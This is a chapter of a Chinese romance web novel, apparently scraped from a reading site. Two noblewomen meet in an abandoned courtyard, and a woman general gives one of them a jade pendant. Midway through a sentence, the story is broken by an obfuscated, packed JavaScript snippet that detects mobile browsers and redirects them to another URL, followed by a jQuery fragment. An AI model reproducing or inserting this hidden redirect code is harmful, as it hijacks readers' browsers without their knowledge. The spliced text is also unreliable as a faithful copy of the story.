4. 赠玉

作品:《卿卿入我怀

    四月的天,浮云将刺目的日光遮蔽。


    覆有青苔的院墙将喧嚣隔绝,鲜少有人光顾的临竹院成为两人独有的寂静,浅紫色花瓣随风飘舞。


    意识到严以卿或许听不懂官话,赵怀妗走到树下,朝她张开双臂,做出会将她接住的姿态。


    清风拂过。


    赵怀妗发间的缎带摇晃。


    视线不由自主地开始追逐那抹绯红,严以卿心念微动,却没有立刻从树上下来。


    注意到她的目光,手指轻轻拨弄缎带的尾端,赵怀妗循循善诱地哄道:“你喜欢这个吗?从树上下来,我的发带就送给你呀。”


    抬头瞥了眼树枝的末梢,眼底闪过不可捉摸的暗色,擅长爬树的狸奴,故作无措地跌入了少女的怀抱。


    两人同时跌倒在地。


    肌肤相亲,扬起了满片芬芳。


    又香又软的气息将她笼罩,红意从脸颊染到耳际,赵怀妗头晕晕的。


    分不清——


    究竟是花香,还是她香。


    严以卿坐在少女的腰际,俯下身,指尖探向她发间的缎带。


    “我,我们要不…要不还是先起身吧?”捉住她的手腕,向来伶牙俐齿的赵怀妗,此刻却有些磕巴。


    抵抗的动作被误认为是出尔反尔,不悦地轻哼一声,严以卿单手将她压在地上,轻易便夺了她的发带。


    国公府千金从未这样被人压在地上。


    额角沁出零星的几颗汗珠。


    赵怀妗狼狈地偏过头,神色略显难堪。


    一直盯着她的眼睛,发觉浅褐色的眼眸似乎有水光流动,手中的缎带便瞬间失了颜色,严以卿松开对她的束缚,将发带交还于她的掌心。


    像只做了坏事的狸奴。


    严以卿低下头,耳朵也耸搭着。


    猜想她不是故意的,用手指轻轻戳弄她的手背,赵怀妗将缎带系在了少女的手腕,“以卿,红色很适合你。”


    白皙似玉的手腕多了一道束缚,视线从这抹红,慢慢转移到身.下人的面容,潋滟的桃花眼弯成月牙,严以卿重重点头。


    识趣的微风将花瓣摇碎。


    粉紫为景,女孩的笑颜明媚了春。


    赵怀妗自诩见过不少美人,但此刻,她却不得不承认面前的少女——比她想象中的更加令人心动。


    垂在身侧的手掌攥紧,压下古怪的情愫,赵怀妗伸手推了推她的胳膊,“摔在地上让人瞧见不好,我要起身。”


    害怕她会露出像刚才那样难过的表情,严以卿听话地从她身上起来,站稳之后,又体贴地朝她伸出手掌。


    少女的动作令赵怀妗有些赧然。


    她明明是来哄人的。


    怎么,反倒好像被人哄了。


    “多谢。”将手掌搭入她的掌心,赵怀妗轻声说道。


    手好软……


    京中的女子果然不同。


    半天也没等到严以卿帮忙使劲,抬起头才发现她正在发呆,唇角微微抽搐,赵怀妗自己撑着手臂从地面起身。


    “烟…严,严以卿。”严以卿略微卡壳地介绍着自己的姓名。


    “赵怀妗。”踮起脚尖,赵怀妗取下沾在少女头顶的花瓣,接着,又拎起裙摆说道:“好脏,我得回屋换件衣裳。”


    湘妃色褶裙被花汁和泥土染得斑驳,瞥见赵怀妗裙角的污渍之后,严以卿在她身前蹲下,眼神专注,用袖口认真地擦拭她的裙摆。


    “严娘子这是在做什么?”想要扯回裙摆反而被人攥得更紧,眼尾略翘的凤眸满是错愕,赵怀妗嗓音慌乱。


    裙子脏了不开心。


    那自己,就帮她擦裙子呀?


    严以卿仰头望向赵怀妗,深邃的眼眸清澈而又真挚,眼神中还隐隐约约地透出几分不解。


    这人怎么回事?不像闺阁娘子,反倒真像只……


    赵怀妗晃了晃脑袋,甩开乱七八糟的思绪,用力扯回自己的裙摆,“我要回屋换衣裳,这里是废院,马上就要开宴了,严娘子还是早些出去吧。”


    盯着空落落的掌心,严以卿没由的有些失落,但最后却什么话也没说。


    “以卿!”院外有人找了过来。


    严以卿听见熟悉的嗓音,扭头看向院门,正巧与四处寻人的严瑞玉对视上了。


    不似燕京女子梳有发髻,三千青丝只是简单地束在脑后,身穿鸦青色胡服的严瑞玉踏入院内,扬声呵道:“姑姑不是告诉过你,不准乱跑!”


    虽然对幽州话一知半解,但光从来人的语气也能窥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244242|166322||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出一二,赵怀妗出声替严以卿解围:“这院子里的紫藤花开得正好,是我偏要拉着严娘子,央她陪我来赏花的。”


    赵怀妗出声后,严瑞玉这才注意到,院内原来还站着另一个谪仙般的小娘子。


    浮金织锦缎,仅从穿着便知面前这位小娘子身世不凡,按照京中的礼仪同赵怀妗行礼,严瑞玉温声问道:“在下严瑞玉,敢问小娘子是?”


    威北将军严瑞玉。


    严辉的胞妹,大雍唯一的女将军。


    “家父赵归山,怀妗见过严将军。”眼底是被主人完美掩饰的好奇与探究,赵怀妗福身向严瑞玉行礼。


    见严瑞玉盯着赵怀妗不说话,严以卿起身走到赵怀妗身侧,表情认真地开口护道:“姑姑,她很好,只有她一个人愿意和我说话。”


    “卿儿是不是弄脏了你的衣裳?”严瑞玉忽然出声。


    算是她弄脏的吗?


    不算吧,是自己主动靠近的。


    抿了抿唇角,赵怀妗轻声细语地解释道:“不关严娘子,废院许久无人照料,是我自己考虑不周。”


    严、赵两家之间的婚约,严瑞玉原本是不赞同的。


    养尊处优的勋贵与戍守边关的武将并非同路之人,但在看到面前这个小娘子之后,她忽然觉得——这桩婚事或许不错。


    “姑姑,她的衣裳就是我弄脏的。”严以卿用幽州话说道。


    严瑞玉用指节敲了敲严以卿的脑袋,解下腰间的翡翠竹佩,笑眯眯地看向赵怀妗,“虽然赵娘子将卿儿撇了个干干净净,但以我对卿儿的了解,赵娘子的衣裙肯定是卿儿弄脏的,所以,还请娘子收下此物作为赔礼。”


    “严将军……”还没等赵怀妗把话说完,严瑞玉便将玉佩塞到了她的手中。


    “这玉佩本就是卿儿向我讨的,现下她弄脏了你的衣裙,当作赔礼正好。”严瑞玉眨了眨眼,长臂一展,将严以卿揽到身前,“走吧,听说你人不见,你娘亲都快要急死了。”


    朝赵怀妗微微点头。


    随后,姑侄便并肩走出临竹院。


    生活在堆金叠玉的国公府,赵怀妗只轻轻一触,便知掌中的翡翠价值匪浅。


    织锦缎价格昂贵。


    可这块玉,抵十套也不算多……